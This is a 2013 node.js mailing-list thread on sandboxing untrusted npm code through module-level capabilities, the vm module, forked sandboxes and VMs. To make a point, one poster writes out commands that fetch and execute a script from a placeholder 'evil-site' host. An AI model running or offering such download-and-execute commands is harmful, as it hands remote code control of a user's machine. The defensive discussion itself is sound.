Hmm... it might be a good idea actually, to limit how a certain library can interface with the core.
For example, if I'm looking at "request", I think that it doesn't need to access "fs" module anywhere (including all it's dependencies, but except for require calls). If I'm looking at some validation library, it obviously don't need to access any core modules at all. Of course binary modules will avoid all that 'cause they can do anything. There are a lot of fishy stuff in "process" everybody can change. But other than that, yep, something interesting can be done here. I mean, capabilities at the module level, not application level (apparmor can do that). Does it make sense, anyone? Or javascript is just too dynamic for any of this to work, and it's a performance nightmare to freeze everything? 17.12.2013, 15:46, "Alexander" <[email protected]>: > On 12/17/2013 12:23 PM, Alex Kocharin wrote: > >> 17.12.2013, 15:07, "Alexander" <[email protected]>: >>> Thank you for the reply. >>> Why security implications of running node.js are not related to node.js, >>> is hard to understand? (can you give reason)? >> If you run "wget http://evil-site/virus.pl -O - | perl", is it related to >> perl? Is it a vulnerability in perl? >> >> If you run "wget http://evil-site/virus.py -O - | python", is it related to >> python? Is it a vulnerability in python? > > Agreed that stupidity is not tightly linked to any scripting system. > But consider that while it is plain stupid to do such a risky as > (evil-site) is > outrightly marked as "not safe". It would be possible that you have > evil stuff also in any npm installed (but not revised or sufficiently > well group > autited software). > I can maybe say, it is easy to avoid above (and then, yes then it is not > really > that much of a node.js internal matter). Still as suggested there might be > more problematic and less esacpable untrusted code cases. > I imagine in those cases much would be gained by for instance agreeing > that node.js internal stuff (as for instance priveledge limiting for some > code parts, would be helpful to make the use of untrusted code less risky). > In an ideal world, you are totally right, every code would be then simply > revised, autided etc. There was not NSA, not bad guys etc. > I argue that while we have not yet entered this perfect world, > where I can (a) avoid using untrusted code and (b) have enough time > to make it trusted etc. While not there.... it would be interesting (for > node.js > for example.. to have some form of nested priviledge structure "possible"). > In a way of speaking currently running node.js might quickly resample > running windows XP as admin (you can pretty much do everything and > by this harm everything). Do we need this? no it would be fine for > many "untrusted code"-things to have limited access. This would then > resample a more "linux" / "unix" (good world (TM)) approach where > stuff is not necessarily put at risk because not everything is root. > > So I want to express that I get your frustration of the topic. I share it. > But I want to make clear that my question is really meant well and that > I did surely not mean to target those (plain stupidity cases you made up so > quickly). Since I reckon you are smart (just look at the speedy way of > you to come up responses) I am certain you can (also by the previously > cited attempts to improvemen "sandboxing") see the purpose of my > question. > To rule out misunderstanding. I do not want to say "node.js" would be > bad, just because it is able to use it "plain stupidity"-wise. I want to > look > if there is an way to make node.js run untrustuted code safer. > And as a second layer of defense (because that is what tin-foil avantguarde > is doing) I ask for a way to further secure my system from node.js itself. > >> What happens if you run "wget http://evil-site/virus && ./virus"? > > ;) well, then I get a birthday present (as promised on http://evil-site) > >>> While I agree for other reasons maybe to your suggestions (i.e. I can >>> see reasons to not use Windows (which is really unrelated to node.js) >>> >>> I am telling you, that it would be nice to have the chance to savely >>> run untrusted code. >> As I said, you can do in a virtual machine. > > This would be a third layer of defense. Considering bluepill I am not > willing to resort to allowing virtualisation in the first place. Still might > work for many. Thanks for the suggestion > >>> For me that would be related a big deal to node.js because to savely >>> or "relatively more savely" run untrusted code would require to be >>> able to reduce the priveleges and access-rights and permissions of >>> what the untrusted code can do. >>> For example some code should not be able to touch "fs" kind of funcitons. >>> Such an sandboxing would have to happen inside node.js (that is why I ask >>> in this list). >> Oh well yeah, here is some helpful sandboxing stuff: >> http://nodejs.org/api/vm.html > > gonna have a look > >>> Also there have been efforts (maybe they are good) >>> >>> https://github.com/gf3/sandbox >>> (I think it generates a way to reduce the priviledges of untrusted code, by >>> spawing a child process which lacks access to global...). I am not sure >>> how it works >>> in detail (maybe somebody can tell). This could help with cases as >>> suggested in the >>> examples.js section. >> It forks node.js and creates a new empty context in the child process. Yes, >> that would work. > > Well that sounds really pretty nice. Wonder if there is a "way-back" aka > "breakout" > possible still. > Also the sandboxing might bring the challlange to break much stuff and > render > the sandboxed code impossible to run. While it should only limit the > potential > harmful consequences of the untrusted code. I guess this is a dilemma like > trade off though :) > >>> There have been efforts >>> https://github.com/gf3/sandbox/blob/master/example/example.js >>> >>> Some remarks still to the "Do not use windows". If meant Microsoft stuff >>> (window is >>> in Javascript context somewhat a ambigious term) then I can only suggest >>> that >>> Linux would not be much safer. Really linux distributions are overrated >>> in terms of savefty. >> In linux it is hard to work under root. In windows it's hard to NOT work >> under root. That's all there is. > > I like windows. Makes me feel so much happier to have linux, honestly. > Bad that I gain joy by seeing stupidity of others. .. Still > to keep it honest. I think XP has long passed and Windows 7 can already > be run > safer and less root involved, eh? > On the other hand how should linux world find out? switch back to windows? > >> I'm not even mentioning capabilities and containers. > > Give glue what would that be? > > -- > -- > Job Board: http://jobs.nodejs.org/ > Posting guidelines: > https://github.com/joyent/node/wiki/Mailing-List-Posting-Guidelines > You received this message because you are subscribed to the Google > Groups "nodejs" group. > To post to this group, send email to [email protected] > To unsubscribe from this group, send email to > [email protected] > For more options, visit this group at > http://groups.google.com/group/nodejs?hl=en?hl=en > > --- > You received this message because you are subscribed to the Google Groups > "nodejs" group. > To unsubscribe from this group and stop receiving emails from it, send an > email to [email protected]. > For more options, visit https://groups.google.com/groups/opt_out. -- -- Job Board: http://jobs.nodejs.org/ Posting guidelines: https://github.com/joyent/node/wiki/Mailing-List-Posting-Guidelines You received this message because you are subscribed to the Google Groups "nodejs" group. To post to this group, send email to [email protected] To unsubscribe from this group, send email to [email protected] For more options, visit this group at http://groups.google.com/group/nodejs?hl=en?hl=en --- You received this message because you are subscribed to the Google Groups "nodejs" group. To unsubscribe from this group and stop receiving emails from it, send an email to [email protected]. For more options, visit https://groups.google.com/groups/opt_out.
